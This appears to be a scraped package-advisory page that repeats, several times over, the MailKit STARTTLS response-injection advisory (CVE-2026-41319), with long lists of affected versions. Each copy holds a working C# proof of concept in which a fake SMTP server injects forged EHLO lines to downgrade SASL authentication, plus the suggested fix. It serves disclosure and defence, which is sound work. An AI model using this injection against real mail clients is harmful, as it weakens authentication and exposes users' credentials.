    static string Read(NetworkStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
    static void SendSsl(SslStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string ReadSsl(SslStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
}

Result against MailKit 4.12.0:

Auth mechanisms: PLAIN, LOGIN
(Real server advertised SCRAM-SHA-256 — SASL mechanism DOWNGRADE achieved)

Impact

Any application using MailKit with SecureSocketOptions.StartTls or StartTlsWhenAvailable (the default) is vulnerable. A network Man-in-the-Middle attacker can inject arbitrary SMTP/IMAP/POP3 responses that cross the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade and capability manipulation. All three protocols (SMTP, IMAP, POP3) share the same vulnerable pattern. All MailKit versions through 4.12.0 are affected.

Affected versions


          0.1.0


          0.10.0


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.2.0

+ 176 more


            0.20.0


            0.21.0


            0.22.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.3.0


            0.4.0


            0.5.0


            0.6.0


            0.7.0


            0.8.0


            0.9.0


            0.90.0


            0.90.0.1


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            0.98.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.16


            1.0.17


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.10.2


            1.12.0


            1.14.0


            1.14.1


            1.14.2


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.18.1.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.11.1


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.16-beta1


            1.2.16-beta2


            1.2.17


            1.2.18


            1.2.19


            1.2.2


            1.2.20


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.3.0-rc1-1


            1.4.0


            1.4.1


            1.4.2


            1.4.2.1


            1.6.0


            1.8.0


            1.8.1


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.0.1


            2.1.0.2


            2.1.0.3


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.11.1


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.2.0


            2.3.0


            2.3.1


            2.3.1.6


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.12.1


            4.13.0


            4.14.0


            4.14.1


            4.15.0


            4.15.1


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.7.1.1


            4.8.0


            4.9.0

Fixed in


          4.16.0

References

Updated May 05, 2026 · Source: OSV.dev

Nov 11, 2023

4.2.0 minor

1 CVE

CVE-2026-41319 GHSA-9j88-vvj5-vhgr Apr 18, 2026

MailKit has STARTTLS Response Injection via unflushed stream buffer that enables SASL mechanism downgrade

6.5 / 10

Medium

Network Low None Required Unchanged None High None

Summary

A STARTTLS Response Injection vulnerability in MailKit allows a Man-in-the-Middle attacker to inject arbitrary protocol responses across the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade (e.g., forcing PLAIN instead of SCRAM-SHA-256). The internal read buffer in SmtpStream, ImapStream, and Pop3Stream is not flushed when the underlying stream is replaced with SslStream during STARTTLS upgrade, causing pre-TLS attacker-injected data to be processed as trusted post-TLS responses. This is the same vulnerability class as CVE-2021-23993 (Thunderbird), CVE-2021-33515 (Dovecot), and CVE-2011-0411 (Postfix).

Details

The Stream property in SmtpStream (line 84-86), ImapStream, and Pop3Stream is a simple auto-property with no buffer reset:

public Stream Stream {
    get; internal set;  // ← No buffer reset on set!
}

During the STARTTLS upgrade in SmtpClient.cs (lines 1372-1389):

// Reads STARTTLS response — "220 Ready" consumed, any extra data stays in buffer
response = Stream.SendCommand("STARTTLS\r\n", cancellationToken);

// Swaps to TLS — buffer NOT flushed!
var tls = new SslStream(stream, false, ValidateRemoteCertificate);
Stream.Stream = tls;
SslHandshake(tls, host, cancellationToken);

// Reads EHLO response — processes INJECTED pre-TLS data from buffer first!
Ehlo(true, cancellationToken);

A MitM appends extra data after the "220 Ready\r\n" STARTTLS response. Both arrive in one TCP read into SmtpStream's 4096-byte internal buffer. ReadResponse() parses "220 Ready" and stops — the injected data remains at inputIndex. After Stream.Stream = tls, the buffer is not cleared. When Ehlo() calls ReadResponse(), it checks inputIndex == inputEnd — this is FALSE (injected data exists), so it processes the buffered pre-TLS data without reading from the new TLS stream.

The same pattern exists in ImapClient.cs (lines 1485-1509) and Pop3Client.cs.

Attack flow:

Client                    MitM                     Real Server
  |--- STARTTLS ---------->|--- STARTTLS ----------->|
  |                        |<-- 220 Ready -----------|
  |<-- "220 Ready\r\n"-----|                         |
  |    "250-evil\r\n"       |  ← INJECTED            |
  |    "250 AUTH PLAIN\r\n" |  ← INJECTED            |
  |    "250 OK\r\n"         |  ← INJECTED            |
  |===== TLS HANDSHAKE ====|==== PASSES THROUGH =====|
  |--- EHLO (over TLS) --->|                         |
  | Reads from BUFFER:     |                         |
  | "250 AUTH PLAIN"       |  ← PRE-TLS DATA        |
  | PROCESSED AS POST-TLS! |                         |

Suggested fix: Reset buffer indices when the stream is replaced:

internal set { stream = value; inputIndex = inputEnd; }

PoC

Self-contained C# PoC — creates a fake SMTP server that injects a crafted EHLO response into the STARTTLS reply:

using System; using System.Net; using System.Net.Security; using System.Net.Sockets;
using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates;
using System.Text; using System.Threading; using System.Threading.Tasks;
using MailKit.Net.Smtp; using MailKit.Security;

class PoC {
    static void Main() {
        using var rsa = RSA.Create(2048);
        var req = new CertificateRequest("CN=test", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
        var cert = new X509Certificate2(req.CreateSelfSigned(
            DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365)).Export(X509ContentType.Pfx));

        var listener = new TcpListener(IPAddress.Loopback, 0);
        listener.Start();
        int port = ((IPEndPoint)listener.LocalEndpoint).Port;

        Task.Run(() => {
            using var tcp = listener.AcceptTcpClient();
            var s = tcp.GetStream();
            Send(s, "220 evil.example.com ESMTP\r\n");
            Read(s);
            Send(s, "250-evil.example.com\r\n250-STARTTLS\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Read(s);
            // ATTACK: inject fake EHLO response after "220 Ready"
            Send(s, "220 Ready\r\n250-evil.example.com\r\n250-AUTH PLAIN LOGIN\r\n250 OK\r\n");
            var ssl = new SslStream(s, false);
            ssl.AuthenticateAsServer(cert, false, false);
            ReadSsl(ssl);
            SendSsl(ssl, "250-evil.example.com\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Thread.Sleep(2000);
        });

        using var client = new SmtpClient();
        client.ServerCertificateValidationCallback = (a, b, c, d) => true;
        client.Connect("127.0.0.1", port, SecureSocketOptions.StartTls);
        Console.WriteLine($"Auth mechanisms: {string.Join(", ", client.AuthenticationMechanisms)}");
        // OUTPUT: "Auth mechanisms: PLAIN, LOGIN"
        // Server advertised SCRAM-SHA-256 — DOWNGRADE CONFIRMED
        client.Disconnect(false); listener.Stop();
    }
    static void Send(NetworkStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string Read(NetworkStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
    static void SendSsl(SslStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string ReadSsl(SslStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
}

Result against MailKit 4.12.0:

Auth mechanisms: PLAIN, LOGIN
(Real server advertised SCRAM-SHA-256 — SASL mechanism DOWNGRADE achieved)

Impact

Any application using MailKit with SecureSocketOptions.StartTls or StartTlsWhenAvailable (the default) is vulnerable. A network Man-in-the-Middle attacker can inject arbitrary SMTP/IMAP/POP3 responses that cross the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade and capability manipulation. All three protocols (SMTP, IMAP, POP3) share the same vulnerable pattern. All MailKit versions through 4.12.0 are affected.

Affected versions


          0.1.0


          0.10.0


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.2.0

+ 176 more


            0.20.0


            0.21.0


            0.22.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.3.0


            0.4.0


            0.5.0


            0.6.0


            0.7.0


            0.8.0


            0.9.0


            0.90.0


            0.90.0.1


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            0.98.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.16


            1.0.17


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.10.2


            1.12.0


            1.14.0


            1.14.1


            1.14.2


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.18.1.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.11.1


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.16-beta1


            1.2.16-beta2


            1.2.17


            1.2.18


            1.2.19


            1.2.2


            1.2.20


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.3.0-rc1-1


            1.4.0


            1.4.1


            1.4.2


            1.4.2.1


            1.6.0


            1.8.0


            1.8.1


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.0.1


            2.1.0.2


            2.1.0.3


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.11.1


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.2.0


            2.3.0


            2.3.1


            2.3.1.6


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.12.1


            4.13.0


            4.14.0


            4.14.1


            4.15.0


            4.15.1


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.7.1.1


            4.8.0


            4.9.0

Fixed in


          4.16.0

References

Updated May 05, 2026 · Source: OSV.dev

Sep 02, 2023

4.1.0 minor

1 CVE

CVE-2026-41319 GHSA-9j88-vvj5-vhgr Apr 18, 2026

MailKit has STARTTLS Response Injection via unflushed stream buffer that enables SASL mechanism downgrade

6.5 / 10

Medium

Network Low None Required Unchanged None High None

Summary

A STARTTLS Response Injection vulnerability in MailKit allows a Man-in-the-Middle attacker to inject arbitrary protocol responses across the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade (e.g., forcing PLAIN instead of SCRAM-SHA-256). The internal read buffer in SmtpStream, ImapStream, and Pop3Stream is not flushed when the underlying stream is replaced with SslStream during STARTTLS upgrade, causing pre-TLS attacker-injected data to be processed as trusted post-TLS responses. This is the same vulnerability class as CVE-2021-23993 (Thunderbird), CVE-2021-33515 (Dovecot), and CVE-2011-0411 (Postfix).

Details

The Stream property in SmtpStream (line 84-86), ImapStream, and Pop3Stream is a simple auto-property with no buffer reset:

public Stream Stream {
    get; internal set;  // ← No buffer reset on set!
}

During the STARTTLS upgrade in SmtpClient.cs (lines 1372-1389):

// Reads STARTTLS response — "220 Ready" consumed, any extra data stays in buffer
response = Stream.SendCommand("STARTTLS\r\n", cancellationToken);

// Swaps to TLS — buffer NOT flushed!
var tls = new SslStream(stream, false, ValidateRemoteCertificate);
Stream.Stream = tls;
SslHandshake(tls, host, cancellationToken);

// Reads EHLO response — processes INJECTED pre-TLS data from buffer first!
Ehlo(true, cancellationToken);

A MitM appends extra data after the "220 Ready\r\n" STARTTLS response. Both arrive in one TCP read into SmtpStream's 4096-byte internal buffer. ReadResponse() parses "220 Ready" and stops — the injected data remains at inputIndex. After Stream.Stream = tls, the buffer is not cleared. When Ehlo() calls ReadResponse(), it checks inputIndex == inputEnd — this is FALSE (injected data exists), so it processes the buffered pre-TLS data without reading from the new TLS stream.

The same pattern exists in ImapClient.cs (lines 1485-1509) and Pop3Client.cs.

Attack flow:

Client                    MitM                     Real Server
  |--- STARTTLS ---------->|--- STARTTLS ----------->|
  |                        |<-- 220 Ready -----------|
  |<-- "220 Ready\r\n"-----|                         |
  |    "250-evil\r\n"       |  ← INJECTED            |
  |    "250 AUTH PLAIN\r\n" |  ← INJECTED            |
  |    "250 OK\r\n"         |  ← INJECTED            |
  |===== TLS HANDSHAKE ====|==== PASSES THROUGH =====|
  |--- EHLO (over TLS) --->|                         |
  | Reads from BUFFER:     |                         |
  | "250 AUTH PLAIN"       |  ← PRE-TLS DATA        |
  | PROCESSED AS POST-TLS! |                         |

Suggested fix: Reset buffer indices when the stream is replaced:

internal set { stream = value; inputIndex = inputEnd; }

PoC

Self-contained C# PoC — creates a fake SMTP server that injects a crafted EHLO response into the STARTTLS reply:

using System; using System.Net; using System.Net.Security; using System.Net.Sockets;
using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates;
using System.Text; using System.Threading; using System.Threading.Tasks;
using MailKit.Net.Smtp; using MailKit.Security;

class PoC {
    static void Main() {
        using var rsa = RSA.Create(2048);
        var req = new CertificateRequest("CN=test", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
        var cert = new X509Certificate2(req.CreateSelfSigned(
            DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365)).Export(X509ContentType.Pfx));

        var listener = new TcpListener(IPAddress.Loopback, 0);
        listener.Start();
        int port = ((IPEndPoint)listener.LocalEndpoint).Port;

        Task.Run(() => {
            using var tcp = listener.AcceptTcpClient();
            var s = tcp.GetStream();
            Send(s, "220 evil.example.com ESMTP\r\n");
            Read(s);
            Send(s, "250-evil.example.com\r\n250-STARTTLS\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Read(s);
            // ATTACK: inject fake EHLO response after "220 Ready"
            Send(s, "220 Ready\r\n250-evil.example.com\r\n250-AUTH PLAIN LOGIN\r\n250 OK\r\n");
            var ssl = new SslStream(s, false);
            ssl.AuthenticateAsServer(cert, false, false);
            ReadSsl(ssl);
            SendSsl(ssl, "250-evil.example.com\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Thread.Sleep(2000);
        });

        using var client = new SmtpClient();
        client.ServerCertificateValidationCallback = (a, b, c, d) => true;
        client.Connect("127.0.0.1", port, SecureSocketOptions.StartTls);
        Console.WriteLine($"Auth mechanisms: {string.Join(", ", client.AuthenticationMechanisms)}");
        // OUTPUT: "Auth mechanisms: PLAIN, LOGIN"
        // Server advertised SCRAM-SHA-256 — DOWNGRADE CONFIRMED
        client.Disconnect(false); listener.Stop();
    }
    static void Send(NetworkStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string Read(NetworkStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
    static void SendSsl(SslStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string ReadSsl(SslStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
}

Result against MailKit 4.12.0:

Auth mechanisms: PLAIN, LOGIN
(Real server advertised SCRAM-SHA-256 — SASL mechanism DOWNGRADE achieved)

Impact

Any application using MailKit with SecureSocketOptions.StartTls or StartTlsWhenAvailable (the default) is vulnerable. A network Man-in-the-Middle attacker can inject arbitrary SMTP/IMAP/POP3 responses that cross the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade and capability manipulation. All three protocols (SMTP, IMAP, POP3) share the same vulnerable pattern. All MailKit versions through 4.12.0 are affected.

Affected versions


          0.1.0


          0.10.0


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.2.0

+ 176 more


            0.20.0


            0.21.0


            0.22.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.3.0


            0.4.0


            0.5.0


            0.6.0


            0.7.0


            0.8.0


            0.9.0


            0.90.0


            0.90.0.1


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            0.98.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.16


            1.0.17


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.10.2


            1.12.0


            1.14.0


            1.14.1


            1.14.2


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.18.1.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.11.1


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.16-beta1


            1.2.16-beta2


            1.2.17


            1.2.18


            1.2.19


            1.2.2


            1.2.20


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.3.0-rc1-1


            1.4.0


            1.4.1


            1.4.2


            1.4.2.1


            1.6.0


            1.8.0


            1.8.1


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.0.1


            2.1.0.2


            2.1.0.3


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.11.1


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.2.0


            2.3.0


            2.3.1


            2.3.1.6


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.12.1


            4.13.0


            4.14.0


            4.14.1


            4.15.0


            4.15.1


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.7.1.1


            4.8.0


            4.9.0

Fixed in


          4.16.0

References

Updated May 05, 2026 · Source: OSV.dev

Jun 17, 2023

4.0.0 major

1 CVE

CVE-2026-41319 GHSA-9j88-vvj5-vhgr Apr 18, 2026

MailKit has STARTTLS Response Injection via unflushed stream buffer that enables SASL mechanism downgrade

6.5 / 10

Medium

Network Low None Required Unchanged None High None

Summary

A STARTTLS Response Injection vulnerability in MailKit allows a Man-in-the-Middle attacker to inject arbitrary protocol responses across the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade (e.g., forcing PLAIN instead of SCRAM-SHA-256). The internal read buffer in SmtpStream, ImapStream, and Pop3Stream is not flushed when the underlying stream is replaced with SslStream during STARTTLS upgrade, causing pre-TLS attacker-injected data to be processed as trusted post-TLS responses. This is the same vulnerability class as CVE-2021-23993 (Thunderbird), CVE-2021-33515 (Dovecot), and CVE-2011-0411 (Postfix).

Details

The Stream property in SmtpStream (line 84-86), ImapStream, and Pop3Stream is a simple auto-property with no buffer reset:

public Stream Stream {
    get; internal set;  // ← No buffer reset on set!
}

During the STARTTLS upgrade in SmtpClient.cs (lines 1372-1389):

// Reads STARTTLS response — "220 Ready" consumed, any extra data stays in buffer
response = Stream.SendCommand("STARTTLS\r\n", cancellationToken);

// Swaps to TLS — buffer NOT flushed!
var tls = new SslStream(stream, false, ValidateRemoteCertificate);
Stream.Stream = tls;
SslHandshake(tls, host, cancellationToken);

// Reads EHLO response — processes INJECTED pre-TLS data from buffer first!
Ehlo(true, cancellationToken);

A MitM appends extra data after the "220 Ready\r\n" STARTTLS response. Both arrive in one TCP read into SmtpStream's 4096-byte internal buffer. ReadResponse() parses "220 Ready" and stops — the injected data remains at inputIndex. After Stream.Stream = tls, the buffer is not cleared. When Ehlo() calls ReadResponse(), it checks inputIndex == inputEnd — this is FALSE (injected data exists), so it processes the buffered pre-TLS data without reading from the new TLS stream.

The same pattern exists in ImapClient.cs (lines 1485-1509) and Pop3Client.cs.

Attack flow:

Client                    MitM                     Real Server
  |--- STARTTLS ---------->|--- STARTTLS ----------->|
  |                        |<-- 220 Ready -----------|
  |<-- "220 Ready\r\n"-----|                         |
  |    "250-evil\r\n"       |  ← INJECTED            |
  |    "250 AUTH PLAIN\r\n" |  ← INJECTED            |
  |    "250 OK\r\n"         |  ← INJECTED            |
  |===== TLS HANDSHAKE ====|==== PASSES THROUGH =====|
  |--- EHLO (over TLS) --->|                         |
  | Reads from BUFFER:     |                         |
  | "250 AUTH PLAIN"       |  ← PRE-TLS DATA        |
  | PROCESSED AS POST-TLS! |                         |

Suggested fix: Reset buffer indices when the stream is replaced:

internal set { stream = value; inputIndex = inputEnd; }

PoC

Self-contained C# PoC — creates a fake SMTP server that injects a crafted EHLO response into the STARTTLS reply:

using System; using System.Net; using System.Net.Security; using System.Net.Sockets;
using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates;
using System.Text; using System.Threading; using System.Threading.Tasks;
using MailKit.Net.Smtp; using MailKit.Security;

class PoC {
    static void Main() {
        using var rsa = RSA.Create(2048);
        var req = new CertificateRequest("CN=test", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
        var cert = new X509Certificate2(req.CreateSelfSigned(
            DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365)).Export(X509ContentType.Pfx));

        var listener = new TcpListener(IPAddress.Loopback, 0);
        listener.Start();
        int port = ((IPEndPoint)listener.LocalEndpoint).Port;

        Task.Run(() => {
            using var tcp = listener.AcceptTcpClient();
            var s = tcp.GetStream();
            Send(s, "220 evil.example.com ESMTP\r\n");
            Read(s);
            Send(s, "250-evil.example.com\r\n250-STARTTLS\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Read(s);
            // ATTACK: inject fake EHLO response after "220 Ready"
            Send(s, "220 Ready\r\n250-evil.example.com\r\n250-AUTH PLAIN LOGIN\r\n250 OK\r\n");
            var ssl = new SslStream(s, false);
            ssl.AuthenticateAsServer(cert, false, false);
            ReadSsl(ssl);
            SendSsl(ssl, "250-evil.example.com\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Thread.Sleep(2000);
        });

        using var client = new SmtpClient();
        client.ServerCertificateValidationCallback = (a, b, c, d) => true;
        client.Connect("127.0.0.1", port, SecureSocketOptions.StartTls);
        Console.WriteLine($"Auth mechanisms: {string.Join(", ", client.AuthenticationMechanisms)}");
        // OUTPUT: "Auth mechanisms: PLAIN, LOGIN"
        // Server advertised SCRAM-SHA-256 — DOWNGRADE CONFIRMED
        client.Disconnect(false); listener.Stop();
    }
    static void Send(NetworkStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string Read(NetworkStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
    static void SendSsl(SslStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string ReadSsl(SslStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
}

Result against MailKit 4.12.0:

Auth mechanisms: PLAIN, LOGIN
(Real server advertised SCRAM-SHA-256 — SASL mechanism DOWNGRADE achieved)

Impact

Any application using MailKit with SecureSocketOptions.StartTls or StartTlsWhenAvailable (the default) is vulnerable. A network Man-in-the-Middle attacker can inject arbitrary SMTP/IMAP/POP3 responses that cross the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade and capability manipulation. All three protocols (SMTP, IMAP, POP3) share the same vulnerable pattern. All MailKit versions through 4.12.0 are affected.

Affected versions


          0.1.0


          0.10.0


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.2.0

+ 176 more


            0.20.0


            0.21.0


            0.22.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.3.0


            0.4.0


            0.5.0


            0.6.0


            0.7.0


            0.8.0


            0.9.0


            0.90.0


            0.90.0.1


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            0.98.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.16


            1.0.17


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.10.2


            1.12.0


            1.14.0


            1.14.1


            1.14.2


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.18.1.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.11.1


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.16-beta1


            1.2.16-beta2


            1.2.17


            1.2.18


            1.2.19


            1.2.2


            1.2.20


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.3.0-rc1-1


            1.4.0


            1.4.1


            1.4.2


            1.4.2.1


            1.6.0


            1.8.0


            1.8.1


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.0.1


            2.1.0.2


            2.1.0.3


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.11.1


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.2.0


            2.3.0


            2.3.1


            2.3.1.6


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.12.1


            4.13.0


            4.14.0


            4.14.1


            4.15.0


            4.15.1


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.7.1.1


            4.8.0


            4.9.0

Fixed in


          4.16.0

References

Updated May 05, 2026 · Source: OSV.dev

Apr 15, 2023

3.6.0 minor

1 CVE

CVE-2026-41319 GHSA-9j88-vvj5-vhgr Apr 18, 2026

MailKit has STARTTLS Response Injection via unflushed stream buffer that enables SASL mechanism downgrade

6.5 / 10

Medium

Network Low None Required Unchanged None High None

Summary

A STARTTLS Response Injection vulnerability in MailKit allows a Man-in-the-Middle attacker to inject arbitrary protocol responses across the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade (e.g., forcing PLAIN instead of SCRAM-SHA-256). The internal read buffer in SmtpStream, ImapStream, and Pop3Stream is not flushed when the underlying stream is replaced with SslStream during STARTTLS upgrade, causing pre-TLS attacker-injected data to be processed as trusted post-TLS responses. This is the same vulnerability class as CVE-2021-23993 (Thunderbird), CVE-2021-33515 (Dovecot), and CVE-2011-0411 (Postfix).

Details

The Stream property in SmtpStream (line 84-86), ImapStream, and Pop3Stream is a simple auto-property with no buffer reset:

public Stream Stream {
    get; internal set;  // ← No buffer reset on set!
}

During the STARTTLS upgrade in SmtpClient.cs (lines 1372-1389):

